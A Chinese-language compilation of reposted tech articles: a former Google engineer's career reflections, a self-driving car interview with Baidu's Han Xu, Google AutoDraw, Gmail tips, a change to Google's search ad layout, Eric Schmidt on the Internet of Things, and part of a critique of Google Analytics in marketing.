一个人做两份工，吃力不讨好，对团队成员的晋升也没有决定权（这事儿也挺神的），这种 Manager 的活儿，谁愿意干谁干去，我是不大喜欢干的。不过，不喜欢归不喜欢，Google 这种挺不一样的管理既显着混乱无序，又运行良好，确实很神奇。

严格地说，聪明人在一起，只需要激励，不需要管理，Google 的办法主要也是强调这一点。

必须坦白，我加入 Google 时，工程师才三千人上下，无序管理、自发管理、扁平管理占主流。Google 越来越大以后，大公司病也如约而至。流程越来越复杂，层级越来越多，职权重叠和模糊越来越严重，不同团队之间管理风格的差异也越来越大。

但即便如此，Google 基因里那种蔑视陈规、抵制办公室政治、抗拒繁文缛节的管理风格还是能在许多团队带头人的身上找到——这是 Google 肌体里的健康因素，活力因子，弥足珍贵。

顺便说一句，最近中文圈子热传不写代码/不会写代码的 CTO 一事，许多 Google 工程师出身的 CEO/CTO 都在朋友圈里晒自己写的代码，以表明态度。我自己对技术管理者写不写代码没啥倾向，写不写都可以是好的管理者，但如果“不会写代码”还以此为荣，就完全没法接受，这个是底线。

我在 Google 面试了不少 Manager 和 Director 的候选人，都考过对方写代码或者至少讨论一段代码的能力——不是要他一定在管理过程中写代码，而是怕他和 Google 工程师没法交流，和 Google 技术基因没法共存。

在 Google 做技术管理，学不到啥成文的规矩，能学到的其实主要靠“悟”。

4. 看待职业生涯的心态也完全不同了

这个要因人而异，很多人来 Google 还是奔着一份优越的薪资待遇来的。所以，这里只谈我自己。

有一种感觉是我开始在 Google 工作才有的。而且，那感觉越来越清晰，越来越吸引人，以至于十年下来，我几乎把这种感觉视为我工作时的第一推动力了。怎么说呢，这种感觉可能很多人都有，描述出来大概是：

在整个职业生涯里，至少要有一部分（哪怕是一小部分）时间，可以比较纯粹地为了开心而工作。一家公司是否适合自己，主要就是看这家公司能不能，或者在多大程度上能满足这个需求。

我在 Google 做不同项目，有时很吃力，有时很痛苦，有时很紧张，当然有时也会开心。但普通项目没法让我比较纯粹地享受那种开心、愉悦的幸福感，于是乎，我在最近五六年里，把我的 20% 时间，都投入到了 Google Doodles 这个既有趣，也适合我的项目里。

Doodle，嗯，首页涂鸦，纯粹为了让用户开心而设立的项目。这项目既需要画画的艺术家，也需要写动画、音效和游戏代码的成员，不但好玩，还特别有品，特别有文化。因为参与其中，我有机会跟 Google 总部那些厉害的艺术家一起合作，真的开心。

有一次做 Google 生日的 Doodle，大家选中的是美国小孩子在生日常玩的一种叫 Piñata 的游戏。在电脑里实现这样的游戏，需要简洁的美术风格，支持 JavaScript 的物理引擎，还有平滑、高效的动画引擎，这些是技术细节，不展开谈。

可在技术之外，我们这群追求开心的人硬是嚷着要亲自玩一次现实里的 Piñata。那次在 Mountain View，就在 Google 总部有一只霸王龙骨架的那片空地上，我们把一个真的 Piñata 挂在树上，轮流用竹竿去打，直到打出一地的糖果来。十几个艺术家和工程师开心得像小孩子。

就是很纯粹的，很简单的，很开心的那种体验。无论工作里有多少烦恼，至少要给自己保留这样一块空间，叫心情家园也好，叫随便什么名字也好，哪怕再小，也得有那么一个。

对我来说，在参与 Doodles 项目的过程里，可以和 Doodles 纪念的伟大科学家、艺术家们跨时空交流，可以和正在设计、制作的小动画、小游戏随时互动，可以预测到最终用户看到每个 Doodle 时的快乐，这的确是一件超赞的事。

很幸运，Google 可以为我这样追求开心的人提供合适的机会。很不幸，（我确切地知道）不少公司从不考虑员工的这种需求。这大概也是公司基因决定的事，没法强求。正因为有了在 Google 的十年工作经历，我才会毫不犹豫地将职业生涯中最重要的追求定义为“开心”。

十年职业生涯，除了快乐，还有历史的厚重感。特别是 Google 中国这十年，我有幸亲历历史，可算人生里的大风浪。不幸，许多历史是不能详尽言说或评价的，所谓春秋笔法，绝不仅仅是史官的政治妥协，更多情况下也是从更高维度审视历史的一种大智慧。

Google 与中国那些事儿，写得太感情用事了，褒贬就缺乏力量；太直白了，话语权就容易被粗暴剥夺；太详尽了，就难免掉进结果论与动机论对立的死循环。

许多年以后，当互联网这个词不再具有产业先导精神，当获取信息如呼吸空气般自由，那时的人类史家和人工智能史学机器人一定会一起编撰诸如《互联网信息审查史》、《科技产业自由竞争和地区保护史》、《网络政治生态与网民意识形态史》、《信息交流史》、《禁毁网络文章和敏感网络关键词从考》、《网络经济与政治壁垒》、《互联网背景下的政府行为》、《维基百科的诞生和消亡》、《社交网络的全球化历程》等学术著作。

只有节奏慢下来了，才有足够的清醒程度，可以从不同视角审视历史。今天哪怕是板上钉钉的史论，交给子孙后代时，许多也会有新的争议和不同角度的阐发吧？

那时，我的后代也许可以用极为八卦的口吻悠悠地对子孙辈说，在某年某月某日某公司与某国政府无法就互联网审查达成一致的那个历史性时刻，我们家族的祖上是有人在现场目击历史的。有时，真的很想穿越到未来，只为了评估一下，今天我们极为看重的事情是不是早已被子孙们淡忘。

总的说来，我喜欢一种本质上不是消极避世的“慢生活”，“快乐”和“多样化”是这种生活的力量源泉。离开 Google 后，我坚信这种生活就是自己的未来。

想法渐多，身心渐老。下一个十年，请慢一些到来吧。

原文出处：王咏刚

本文转载自公众号 「半轻人」（ ID：ban-qing-ren）

我们离真正开上一辆无人驾驶车去上班还有多远？

Mon, 16 Jan 2017 09:02:15 CST

我想以后开着车去上班，然而堵车的路上还能睡一觉或者…….写个稿子呗。

无人驾驶离我们的生活还有多远？我们什么时候才可以开上一辆无人车去上下班？我们买得起无人车吗？它真的安全吗？百度、Google、特斯拉、奥迪、通用，谁才是无人车届的大牛？无人驾驶还面临什么问题？

无数次坐在硅谷一场又一场的人工智能、无人驾驶行业技术论坛、商业论坛的场地内我这么问自己。

在我所在的美国硅谷，几乎人工智能成了2016年这片地区最热门的词汇，当然也极有可能成为2017，甚至一直到2020年的一大热门。无论是科技公司的职员还是家庭主妇都不舍得错过这个也许他们并不懂，也没有真正接触过的话题；在旁边山景城的街道上，一些居民对偶尔路过的正在测试的Google无人车已经从最初的驻足拍照到现在的见怪不怪。而在毗邻的Sunnyvale市，常常有一群来自百度的中国工程师在监拍百度无人车的上路情况。而Uber、特斯拉，甚至是传统汽车厂家通用、奥迪、丰田也都希望在这场技术＋实践的长跑中获得一席之地。

但是看着这么热闹，到底什么时候我们作为一个普通人，才可以真正开上无人驾驶汽车呢？

在一场名为AI Frontiers的人工智能大会上，我终于忍不住，抓住了一个行业“大牛”，问了一些“普通人”才会问的问题。

我们什么时候才能开上无人车？

“三年商用，五年量产。”百度自动驾驶事业部首席科学家韩旭（Tony Han ) 将李彦宏曾经对外公开的言论转述给我。

而像包括吴恩达和曾经年纪轻轻就担任密苏里大学博士生导师和终身教授的韩旭这样的人工智能顶尖精英纳入百度团队，无论如何都让人们在讨论全球人工智能领域的时候自然而然地将百度列为一个重量级的选手。

“五年量产？到底量产是个什么概念？”我刨根问底。

“具体说不好，但应该不是满大街都是无人车那个样子。”韩旭告诉我说现在在技术上，已经能保证驾驶者的安全，无论是Google还是百度的无人车都达到了Level 4的标准，即不需要人工干预的完全自动驾驶。

“在无人车安全性能上，各家公司走的路径不同，想要达到的目标也并不一样。”韩旭告诉我。在让汽车作为一个“机器人”，像一个人类一样去开车这个问题上，专业机构把无人驾驶分为5个层级的要求——5为最高级，即在任何极端情况下都能让汽车无人驾驶，而无论是Google还是百度现在都已经达到4级，即不需要人工干预的完全自动驾驶。

“在人工智能无人驾驶的领域内，Google从09年就开始了研究，并到现在为止都在最前列。百度到前年才开始研究，是以实验室的形式，到2016年，才正是有了专门的事业部来处理无人驾驶，起步属于相对较晚。”韩旭说尽管这样，但百度的无人驾驶技术仍然是最前列的。

“如果硬要和Google比个高下，那可能就是Google的汽车经过了更多次的上路测试吧。”韩旭说直到去年，百度的无人车才真正上路测试，但从技术上来说，并不会比Google差。

“而特斯拉走的是完全另一个路径。”韩旭给我解释道。特斯拉从一开始追求的就不是真正意义上的无人驾驶。和百度和Google一直在追求Level 4 (L4) 不一样，特斯拉从一开始就只想追求Level 3 (L3)，既开发一种只作为人类驾车辅助功能的自动驾驶。

“这样有一个弊端，当人类知道车具备自动驾驶功能的同时，就会放松和懈怠，反而容易出事。”一位在现场不愿具名的人工智能行业的研究员告诉我。但他同时表示，特斯拉也有特斯拉的优势，由于它不追求Level 4这件事，它的造价格就会低得多得多。和百度和Google无人车需要一个造价不菲的激光雷达和多个感应器，而追求Level 3的特斯拉汽车则是依靠造价相对低廉很多的拍摄镜头完成的。’

就算真正无人车能够上路，可能我们也买不起

“光是一个感应器就至少8万美金。”韩旭在接受采访时告诉我说一辆无人车这样的感应器不会少于10个，但具体多少个还属于商业机密。

“但你想想这个造价。”韩旭表示如果造价这么贵，那售价更是可想而知。

至今包括Google、百度在内的“参赛者”都还没有合理的办法来降低这种不适用于消费汽车产品的物料造价，而这也是为什么到现在这种被行业内的大牛挂在嘴边的能比人驾驶更安全、能减少堵车、减少污染、百利而无一害的无人车仍然没有出现在普通人的日常生活中的重要原因之一。韩旭表示。

“谁先把感应器和激光雷达的造价降下来，谁就赢得了这场持久战的胜利。”韩旭说这也是目前各家研发无人车的竞争公司在争分夺秒想要解决的问题。

极端天气、坡路和不舒适的乘坐感受还都是无人车还没有解决的问题

在这场行业大牛聚集的行业论坛上，他们口中的无人车似乎“没毛病”。

但实际上的情况可能会让你有一点点的失望。

在一份韩旭展示给我的由百度测试工程师拍摄并剪辑的视频中，汽车行驶在美国Sunnyvale的街道上和正常人没有区别。但是，眼尖的我仍然发现了问题——当无人车发现前面有情况的时候，都会突然刹车，而并不会像人类驾驶员一样会减速停车。

“按照目前的技术，乘坐无人车可能还不是那么舒服的一件事。”韩旭坦白这种突然的刹车的确存在。也表示目前无人车在特定的情况下，可能会无法预测前方状况。

未来通过一些技术的更新，我们的无人车可能扫描前面200米的情况，但现在还到不了那么远。而且如果遇上上坡再下坡的路况，像旧金山这样的坡度较陡的道路，就会前方路况的预测造成很大问题。

不过哪怕是平地上，中国繁复的立交桥和道路状况也可能让目前的无人车吃不消，韩旭补充道。

最严重的还是极端天气。无人车目前还无法应对极端天气这个问题——例如大暴雨的情况可能会提高系统的出错率。

这些问题都是接下来我们会通过技术去克服。韩旭对于未来5年后能够让汽车作为机器人像人类一样具有舒适的驾驶技术还是非常看好的。“国家也是支持的。”他补充道。

“端对端的机器学习（End to End Learning）可能都是我们研发无人车下一步要做的方向。当然，还有量产也是要克服的问题。”韩旭为了保证百度无人车的研发计划不被泄漏，便拒绝了谈论更多研发方向细节的请求。

无人车安全吗？

对于还不熟悉的无人车，可能没有比安全问题更让普通老百姓揪心的了。

“比人开车安全。”韩旭这样断言，并补充道，“提高人类驾驶的安全性也是为什么最初提出要研发无人车的最主要因素之一。”

根据韩旭演讲过程中展示的一份报告显示，每100万千米的行驶路程中，人类驾驶出事比例大约为2.6起事故。而按照现在的无人车技术来看，错误的概率只有2起。

“无人车普及后，可以每天在中国拯救500个人的性命。”韩旭试图用数字的罗列来说服现场的1600位观众，无人驾驶才是人类车祸的救世主。

“在自动驾驶数据集KITTI （全球最权威的自动驾驶算法公开排行榜之一）测试中，百度的算法在车辆识别项目中的识别率达到了92％。”韩旭陈述道。

“百度无人车的上路测试我还没听说过有事故发生。”韩旭表示就算是其他厂商的L4无人车出过事故，也大多是人为的问题。

2016年9月，在Google所在城市山景城中，Google无人车遭遇了最严重的一起事故。

当时谷歌无人驾驶汽车正处于自动驾驶测试模式。汽车在进入十字路口时被一辆货车撞到，造成车门严重下凹，以及安全气囊弹出。不过并没有造成人员伤亡。

事后Google公开表示这起事故的起因则是货车司机闯红灯导致。无人驾驶车驾驶方向处于绿灯状态，且测试员发现肇事车撞上来时第一时间切换为有人驾驶模式，并踩了刹车。

当然，无论判定的结果如何，无人车的每一起事故都能让不懂技术的普通人觉得揪心。这是无人车研发厂商也无法解决的问题。

特斯拉甚至遇到过比这个更严重的问题，且最终的事故原因与特斯拉汽车可能有着直接原因。

2016年5月，一辆特斯拉汽车在美国佛罗里达州与拖车相撞，导致酷爱特斯拉无人驾驶的40岁司机丧生，而司机丧生前则正在使用特斯拉自动驾驶模式。

特斯拉事故后发布声明，事故车型Model S没能在明亮的天空下发现拖车的白色车身，与其相撞，导致了整起事故，并把整个事故称为“悲剧性的损失”。

尽管特斯拉事后仍然强调：特斯拉自动驾驶模式至今已经有1.3亿英里的安全行车纪录，但这一起致命事故仍然让这家公司的股票在事故发生后下跌了三个百分点。

“特斯拉的无人驾驶是通过摄像头来观测路况和其他车辆的。事故中，汽车的摄像头把前车的白色车身误会成为了云彩。”那位无人驾驶汽车的研发者告诉我，并对我表示他个人的看法是：L3的自动驾驶为了控制成本，保留人接管的权力，但同时也会让司机松懈，误认为可以随心所欲放弃控制车辆。

”无人驾驶的安全性超过人类驾驶可能还不足以让人类对这种不熟悉的科技产生足够多的信赖，而只有无人驾驶的安全性能远远超过人类驾驶、甚至事故趋近于零，大多数人才可能安心去接受它。”这位研发者觉得这对于一项技术来说有些不公平，但是时刻关系人命的任何技术都不得不面临这样的问题。

嗯，看来离我能上班堵车路上赶篇稿子还有很长、很长的一段路要走…….

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谷歌发布智能画图软件AutoDraw

Wed, 12 Apr 2017 19:37:09 CST

日前，谷歌推出了一款名为“AutoDraw”的智能画图软件，顾名思义，AutoDraw系统自带AI会理解你的意图，帮你把粗陋的草图变成画作。别看界面设计很简单，功能却异常强大。

值得一提的是，AutoDraw不用下载，在线即可体验（点击这里），手机、PC都行哦。

据悉，这一工具主要是通过机器学习技术识别作画的，比如绘画者画了一个不是很漂亮逼真的笑脸，系统可自动识别并推送艺术家绘制的相应选项，如果选项中有作画者的目标项，只需要点击一下该目标项，涂鸦作品就可以快速转换成为一件艺术品！

此外，如果绘画者对自己的作品比较满意，也可以关闭自动提示工具。除操作简便之外，谷歌表示，AutoDraw APP是完全免费的，可以在任一手机、平板和电脑上使用。

Google 员工偏爱的 7 个 Gmail 技巧，你用过吗？

Wed, 16 Sep 2015 19:16:16 CST

Google 前员工 Rodolphe Dutel 在 Buffer 上分享了 7 条他在 Google 时经常使用的 Gmail 技巧，这其中有些或许你已经知道了，但对每一条都熟悉的用户应该也不多吧？

下面我们就来看看 Rodolphe Dutel 都提供了哪些小技巧：

1.取消“已经发送”的邮件

工作过程难免会遇到些意外情况，让你想立刻撤回刚刚发出去的邮件。在 Gmail 中，Google 贴心的提供了延时发送选项。用户可以在“设置——常规”里开启撤销发送功能。这样，你就可以在错点发送按钮的情况下，撤回将要发出去的邮件。

Google 在这项设置中提供了 5 秒、10 秒、20 秒、30 秒四个选项，这也就意味着邮件最多只会延时 30 秒。

2.在撰写邮件时插入固定的内容

当你需要在多封邮件中输入一大段相同的内容时会怎么做？有些读者或许会说当然是复制粘贴。但如何这段固定的内容有多种形式呢？这个时候你或许就需要 Canned Responses 这款来自 Gmail 实验室的小工具了。它可以帮你记住多种文本状态，你只需保存一次就可以在撰写邮件时随时调出来了。

如果想开启这个功能你需要把 Gmail 设置为英文，然后在实验室里搜索“Canned Responses”就可以找到这个工具了。中文界面下搜索不到。

3.离线使用 Gmail

Gmail 的这个功能很多人应该都知道了。在设置里有离线选项，用户开启之后可以在没有网络的情况下阅读、搜索、归档邮件。

4.暂停收邮件

如果你是一个强迫症用户的话，看着浏览器标签上 Gmail 收件箱的新邮件数字不断上涨，免不了要去看看又有哪些新邮件。一来二去，时间也就被一次又一次的浪费掉了。这个时候你可以使用 Inbox Pause 这款 Chrome 扩展来暂停 Gmail 收取新邮件。至于暂停的时间用户可以自己设定。

你看完了或许会说，与其这样还不如直接把 Gmail 这个标签页关掉。不瞒你说，其实我也是这么想的。但 Chrome Web Store 的数据显示这款扩展有 11379 名用户，安装它的人，欢迎站出来告诉我一个理由。

5.取消订阅各种推广邮件

如果你之前没听说过的话， Unroll.me 的这个功能还是挺有用的。简单来说，由于我们经常会用邮箱注册一些网络账户，这难免就会让自己收到各种各样的推广邮件。一些有节操的厂商可能会在邮件中提供明显的退订按钮，但也总有一些邮件看完之后怎么也找不到退订按钮在哪。这个时候，你只要登录 Unroll.me，它就可以把各种订阅的邮件归类，你能很清晰地看到哪些是自己想要的，哪些是该退订的。

6.两步验证保障安全

这其实不是新功能了，我之前也用过，但后来觉得太繁琐就把取消了。开启这个功能后，你需要在手机上安装一个名为 Google Authentication 的应用，它会随机生成各种数字，然后你每次登陆 Gmail 时都要输入这串数字。这也，即便别人知道你的密码也没法登陆你的 Gmail。

具体的开启步骤可以看这个 Google 官方提供的教程。

7.获取邮件状态信息

在我们使用 iMessage、WhatsApp 这样的 IM 工具时，用户可以看到自己发送出去的信息对方是否收到、是否查看了，但在使用 Gmail 时，我们却不知道收件人是否查看了自己发送的邮件。

如果你想解决这个问题的话， Sidekick 这个 app 就是答案。它可以根据对方处理你邮件的状态给你发送一些对应的提醒。

图片来自：站酷海洛创意、 Buffer

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谷歌搜索广告大改版：右侧广告挪至页面顶部

Mon, 22 Feb 2016 09:16:44 CST

谷歌最重要的收入来源，仍然是传统的电脑端搜索广告。近日，谷歌对搜索广告进行了公司诞生以来最大规模的调整。在电脑端搜索结果页面，谷歌取消了右侧的广告位，改为在结果页面顶部显示搜索广告，这可能是让广告更加惹人注意的举动。

来源：腾讯科技

据TheSEMPost等国外科技新闻网站报道，传统上，谷歌会在搜索结果页面的顶部、底部和右侧综合显示搜索广告，但是最重要的位置是右侧，这里会列出大量文字链接广告。

不过谷歌将对搜索广告进行重大调整。在新的搜索结果页面中，右侧已经是一片空白。在搜索结果上部的位置，谷歌将会显示四条广告，这些搜索广告包括了标题文字、网页链接以及一些描述，四条广告将会占用大量的屏幕空间。

显然对于搜索用户而言，谷歌新的页面布局是一个十分糟糕的举动，用户只能在屏幕更下侧的位置，看到自己想要的网页搜索结果。

据报道，去年底，谷歌就开始在网页搜索结果中测试四个置顶广告，当时在互联网行业引发了巨大争议。

毋庸置疑的是，对于搜索广告主或者网络广告公司而言，谷歌此举是个利好举动，有助于搜索广告获得更多眼球的关注。不过互联网行业还存在一个巨大的搜索引擎优化产业，他们的使命，就是让客户网站的搜索结果进一步靠前。而谷歌的新布局，也会让网页结果在屏幕上的位置，进一步下沉。

目前谷歌搜索广告部门尚未正式对外宣布改版的消息，不过一些广告主和网络广告公司已经确认，收到了谷歌相关通知。

比如一位网络广告公司人士在推特上表示，谷歌搜索广告的业务代表已经证实，谷歌将会进行一次全球性的改版，取消电脑端结果页面右侧的广告位。

美国科技媒体评论指出，实际上谷歌调整搜索广告的举动，并不令人感到意外。在过去一年时间，谷歌一直在对搜索广告进行优化，从而提升移动搜索的体验，而此次取消右侧广告位，也可能是适应智能手机搜索的举动。

显然在智能手机端搜索页面中，谷歌已经没有右侧的空间来显示广告，仅能通过置顶方式显示广告。因此电脑端取消右侧广告之后，将会和手机端保持一致。

另外在取消右侧的搜索广告位之后，谷歌仍然会按照搜索关键词，显示“商品陈列广告”，这种广告带有商品图片，推广效果更佳。谷歌未来也会有更多空间，在电脑端增加商品广告的数量。

另外谷歌也可能利用右侧剩余出来的空间，显示更多对网民有帮助的非广告信息。

一些业内人士表示，谷歌搜索页面的改版可能会在下周一（2月22日）部署到全球市场。

谷歌公司也证实，这一改动是全球性的，将会涉及到各个语言版本的搜索引擎。

据悉，虽然谷歌以及母公司Alphabet已经涉足了许多领域，包括移动操作系统、光纤宽带、自动驾驶汽车、智能家居等，但是谷歌最重要的收入仍然是搜索广告。2015年，谷歌全年收入高达750亿美元，谷歌的财报数据显示，公司九成的收入，仍然是搜索广告。当然，移动搜索广告收入的比例，也在逐年增加。

谷歌掌门人：互联网即将消失

Sat, 20 Feb 2016 16:00:35 CST

“世界将变得非常个性化、非常互动化和非常非常有趣。所有赌注此刻都与智能手机应用基础架构有关，似乎将出现全新的竞争者为智能手机提供应用，智能手机已经成为超级电脑。”

当互联网概念在中国资本市场上方兴未艾之时，互联网巨头谷歌公司的执行董事长埃里克•施密特在前段时间举行的座谈会上大胆预言：互联网即将消失，一个高度个性化、互动化的有趣世界——物联网即将诞生。施密特的此番言论可谓自我颠覆。

他说：“我可以非常直接地说，互联网将消失。”

互联网即将消失，物联网将无所不能

施密特称，未来将有数量巨大的IP地址、传感器、可穿戴设备，以及虽感觉不到却可与之互动的东西，时时刻刻伴随你。“设想下你走入房间，房间会随之变化，有了你的允许和所有这些东西，你将与房间里发生的一切进行互动。”

他表示，这种变化对科技公司而言是前所未有的机会，“世界将变得非常个性化、非常互动化和非常非常有趣”。这位谷歌掌门人认为：“所有赌注此刻都与智能手机应用基础架构有关，似乎将出现全新的竞争者为智能手机提供应用，智能手机已经成为超级电脑。我认为这是一个完全开放的市场。”

美国市场研究公司Gartner预测：到2020年，物联网将带来每年300亿美元的市场利润，届时将会出现25亿个设备连接到物联网上，并将继续快速增长。由此带来的巨大市场潜力已经成为美国科技公司新的增长引擎，包括思科、AT&T、Axeda、亚马逊、苹果、通用电气、谷歌与IBM等在内的美国公司争相抢占在物联网产业的主导地位。

看高科技500强争相布局物联网

在1月9日刚刚落幕的2015国际消费电子展(CES)上，物联网概念成为最大看点之一。 智能家居、数字医疗、车联网等产品的推出，使得物联网技术真正服务于智能生活。

“ 物联网不是趋势，它是现实。”三星电子总裁兼首席执行官尹富根(YoonBoo-keun)在CES的演讲上，把物联网作为了三星重点业务方向。

尹富根同时透露了三星技术支持物联网的时间表：到2017年，所有三星电视将成为物联网设备;五年内所有三星硬件设备均将支持物联网。

无独有偶，芯片巨头高通也在CES上披露了自己的物联网计划。高通总裁德雷克•阿伯勒(DerekAberle)在CES上表示，高通向全球超过30个国家推出了15款物联网设备，涉及数字眼镜、儿童跟踪器、智能手表等多个产品。未来，高通将以智能手机为支点，拓展车联网、医疗、可穿戴设备等领域。

制造业巨头也希望在物联网中确立自己的领导者地位。通用电气去年十月宣布与一众技术巨头结盟建立起物联网联盟。通用电气此举的目的是寻求各方对旗下Predix平台的支持。Predix软件旨在令各种物联网端点具备智能化。

全球范围内的其他合作也正在展开。英特尔已携手美国圣何塞市，利用公司强项，进一步推动该市的“绿色视野(GreenVision)”计划。英特尔公司全球物联网业务开发销售总监GreggBerkeley表示，英特尔目前正与二三十个全球合作伙伴，讨论如何利用英特尔的物联网技术建设智能城市，有些合作在亚洲，有些遍及欧洲。

物联网和互联网究竟有什么区别？

作为互联网的延伸，物联网利用通信技术把传感器、控制器、机器、人员和物等通过新的方式联在一起，形成人与物、物与物相联，而它对于信息端的云计算和实体段的相关传感设备的需求，使得产业内的联合成为未来必然趋势，也为实际应用的领域打开无限可能。

在过去一年，云计算和大数据继续发酵，物联网也成为未来大趋势之一。很多网友对于物联网和互联网之间有何关系存在疑惑，让我们一起来看看。什么是互联网？即 Internet，又称网际网路、因特网等，是网络和网络之间串联而成的庞大网络。而物联网是的英文缩写是TheInternet of things，也即物物相连的网络。

物联网的定义是通过射频识别(RFID)、红外感应器、全球定位系统、激光扫描器等信息传感设备，按约定的协议，把任何物品与互联网相连接，进行信息交换和通信，以实现对物品的智能化识别、定位、跟踪、监控和管理的一种网络。

简单地说，物联网是一种建立在互联网上的泛在网络。物联网技术的重要基础和核心仍旧是互联网，通过各种有线和无线网络与互联网融合，将物体的信息实时准确地传递出去。

物联网是一个新的江湖，一个比互联网大太多太多的江湖

互联网在20多年来帮助人们解决了信息共享、交互，几乎在瞬间颠覆了很多传统的商业模式，把卖产品变为卖内容和服务，是个了不起的产业成就。雷军很早前曾说过：“未来没有所谓的互联网企业，未来每个公司都变成物联网公司。”这个江湖够大了吧。

但从分工上理解，互联网还只是物联网中的一部分，主要是IT服务方面。物联网因为其“连接一切”的特点（“连接一切”是马化腾在2013的WE大会上提出来的未来第一路标），它具有很多互联网所没有的新特性。

比如，互联网已经连接了所有的人和信息内容，提供标准化服务，而物联网则要考虑各种各样的硬件融合，多种场景的应用，人们的习惯差异等问题。

相对于互联网，物联网需要更有深度的内容和服务，以及更加差异化的应用，也将更加的人性化，这也符合人们不停地追求更好的服务体验，这是个亘古不变的刚需。

因此，也可以这样断言， 未来所有的公司都是物联网企业。他们享受着物联网的各种便利，利用物联网工具和技术，生产物联网产品，为人们提供物联网服务。

物联网的关键技术

针对互联网的特性，专家总结了物联网应用中的三项关键技术：

1.传感器技术

这也是计算机应用中的关键技术。大家都知道，到目前为止绝大部分计算机处理的都是数字信号。自从有计算机以来就需要传感器把模拟信号转换成数字信号计算机才能处理。

2.RFID标签

也是一种传感器技术，RFID技术是融合了无线射频技术和嵌入式技术为一体的综合技术，RFID在自动识别、物品物流管理有着广阔的应用前景。

3.嵌入式系统技术

是综合了计算机软硬件、传感器技术、集成电路技术、电子应用技术为一体的复杂技术。经过几十年的演变，以嵌入式系统为特征的智能终端产品随处可见；小到人们身边的MP3，大到航天航空的卫星系统。嵌入式系统正在改变着人们的生活，推动着工业生产以及国防工业的发展。如果把物联网用人体做一个简单比喻，传感器相当于人的眼睛、鼻子、皮肤等感官，网络就是神经系统用来传递信息，嵌入式系统则是人的大脑，在接收到信息后要进行分类处理。这个例子很形象地描述了传感器、嵌入式系统在物联网中的位置与作用。

总之，我们可以发现物联网概念是在互联网概念的基础上，将其用户端延伸和扩展到任何物品与任何物品之间，进行信息交换和通信的一种网络概念。物联网和物联网概念的关系也是相互依存的关系。

根据Tech Node评选，2015年国内最值得期待的Top 10物联网创新公司，是最被看好的10家正在“连接一切”新硬件创业公司。

2015年国内物联网创新经过近两年的积累，已经初成气候。物联网市场在中国被迅速开拓和发展，并且在智能家居、可穿戴设备、城市和汽车之间的互联，以及某些产业中产巨大的影响甚至是颠覆。而从2015年开始，这10家企业或许代表着中国物联网创新的走向。

1.小米

小米正试图在硬件行业中复制其在智能手机市场的商业模式，毕竟它在智能手机市场还是非常成功的。凭借物美价廉的智能手环在智能穿戴市场取得初步成功后，小米推出了100家硬件公司战略，企图通过这个战略来使小米能连接到更多的智能小工具的领域，譬如医疗保健（iHealth），智能家居（Ants，Yeelink）等等（前面括号中的是在智能硬件相应区域的产品供应商中的佼佼者）。该公司还宣布与中国家电巨头美达成战略合作伙伴关系。

2. Broadlink

Broadlink是智能家居解决方案的供应商，他们的产品主要面向物联网的无线网络连接。除了现有的智能插座和红外设备的远程控制，Broadlink也在发展丰富自身的产品，而这有助于传统家电制造商研发更智能的产品。现在Broadlink的Wi-Fi解决方案已经被集成到小米的智能路由器。

3. Gizwits

Gizwits是中国物联网技术平台，它所做的工作是把家用电器和电子产品连接到互联网或智能手机上。 GizWits提供给物联网开发者一些数据分析和相关开发工具，譬如远程接入，通知，和OTA固件升级。该公司已经为智能家居设备推出了自助式软件开发平台Gizwits2.0和一个可编程微控制器板GoKit。

4. Ayla

Ayla中国网络公司是美国Ayla在中国的分公司，它为中国开关制造商提供云连接解决方案和HVAC等智能设备。今年得到的1450万美元的投资后，该公司进入中国市场采取了一系列动作：推出中国网站，与新浪合作来推广公司，加入了中国导演协会。该公司的CEO和联合创始人，戴夫•弗里德曼，认为中国将在这一领域引领世界潮流。

5. Lifesmart

Lifesmart是杭州的一家本土公司，主要从事智能家居设备的开发，其产品线包括智能控制中心，智能插座，监控摄像机，环境传感器等。

6. Yeelink

Yeelink帮助制造商打造智能产品，他们为制造商提供从硬件设计到移动应用程序的开发，从概念阶段到最初的产品的一条龙服务。

7. Landing

Landing科技是一家总部位于深圳的智能家居公司，致力于开发、生产和销售智能家居和可穿戴设备并且提供相关的技术支持。他们的“IVYLINK”和“Goldweb”品牌分别涵盖智能设备和网络设备及其配件。

8. Orvibo

Orvibo专注于物联网和智能家居设备。其产品线包括智能小工具，全数字可视门铃，并为成千上万的物联网终端提供智能服务云平台。该公司的旗舰产品Kepler是一台智能气体检测仪，它承诺保护您的家庭和亲人远离任何潜在的危险气体泄漏。

9. MXchip

MXchip在2005年年初成立于上海，主打方向是短距离无线网络技术及产品。

10.Phantom

Phantom是一家智能家居解决方案供应商，专注于智能照明和监控产品。报道称该公司去年的A轮融资中获得了150万美元。

内容摘自《领科》

本文转载自中国管理咨询网

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营销高手经验谈：谷歌分析工具是怎样毁了市场营销的？

Fri, 12 Aug 2016 20:45:07 CST

美国Tech Crunch博主、营销专家塞缪尔·斯科特（Samuel Scott）8月7日撰文，指出Google Analytics（谷歌分析）工具误导网络营销从业者，并分析Google Analytics误导网络营销的具体方式。

来源：新浪科技

那些生活在高科技世界里，并把“社会化媒体营销”、“Facebook营销”以及“内容营销”这种词语挂在嘴边的营销人员，其实并不真正地理解营销策略、营销渠道与营销内容之间的基本区别。而Google Analytics（谷歌分析）工具就是应当为此负责的罪魁祸首。

自Google Analytics于2005年11月发布问世以来，已有十余年之久，如今有太多的技术营销者忽视了策略与渠道之间的区别。他们热衷于利润比传统渠道还低的数字渠道，还认为投资回报率就是直接衡量收益的唯一有效工具。

然而并非如此。

从来没有过 “电视营销”的说法

试想这是在上个世纪90年代，我打算试着与某些看《老友记》(Friends) 的电视观众产生联结，那么根据当时传统推销组合的五种策略，有三种可供我选择：

1、广告投放

2、公开宣传（以产品植入的方式）

3、直接营销（以直接反应的广告宣传片形式）

我可以在《老友记》播出一集的期间插播一则广告；也可以付钱给NBC（美国全国广播公司），包下剧中的咖啡店来举办一场活动，在某一集给我的产品来个特写；我还可以请《老友记》的演员出演我的广告宣传片，在某一集播出之后立马投放这一则广告。诸如此类的方法还有不少。

但如今上述的几条没有一条能称得上是“电视营销”，因为“电视营销”算不上是一种“行为”。“电视”是一种营销渠道，而非一种营销策略。倘若我选择在电视上投放广告，那么“广告投放”就是策略，广告本身是内容，“电视”就是我传送这则广告的渠道。

同样地，“Facebook营销”、“社会化媒体营销”与“内容营销”都不是“行为”。“Facebook”是一个营销渠道，“社会化媒体”是一种营销渠道的集合，“内容”是一种战略而非策略。“内容”是策略执行过程中的产物，如广告投放、SEO（搜索引擎优化）与公开宣传。接下来列出两个例子。

